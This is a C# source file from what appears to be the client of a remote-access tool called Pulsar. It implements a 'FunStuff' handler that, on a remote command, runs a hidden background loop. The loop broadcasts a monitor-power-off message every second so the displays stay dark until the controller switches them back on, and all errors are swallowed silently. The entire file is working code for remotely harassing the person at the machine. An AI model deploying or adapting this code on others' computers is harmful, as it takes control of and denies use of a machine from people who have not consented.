Files
PulsarK-main/Pulsar.Client/FunStuff/MonitorsOff.cs
T
i2p 773d05f8f1
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run
initial commit
2026-08-27 10:57:58 -06:00

66 lines
2.0 KiB
C#

using System;
using System.Runtime.InteropServices;
using System.Threading;
using Pulsar.Common.Messages.FunStuff;
namespace Pulsar.Client.FunStuff
{
public class MonitorPower
{
private const int HWND_BROADCAST = 0xFFFF;
private const int WM_SYSCOMMAND = 0x0112;
private const int SC_MONITORPOWER = 0xF170;
private const int POWER_OFF = 2;
private const int POWER_ON = -1;
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr SendMessage(IntPtr hWnd, int Msg, IntPtr wParam, IntPtr lParam);
private Thread _monitorThread;
private bool _keepOff;
public void Handle(DoMonitorsOff message)
{
new Thread(() =>
{
try
{
if (message.Off)
{
_keepOff = true;
_monitorThread = new Thread(() =>
{
while (_keepOff)
{
SendMessage((IntPtr)HWND_BROADCAST, WM_SYSCOMMAND,
(IntPtr)SC_MONITORPOWER, (IntPtr)POWER_OFF);
Thread.Sleep(1000);
}
})
{
IsBackground = true
};
_monitorThread.Start();
}
else if (message.On)
{
_keepOff = false;
SendMessage((IntPtr)HWND_BROADCAST, WM_SYSCOMMAND,
(IntPtr)SC_MONITORPOWER, (IntPtr)POWER_ON);
}
else
{
}
}
catch (Exception ex)
{
}
})
{
IsBackground = true
}.Start();
}
}
}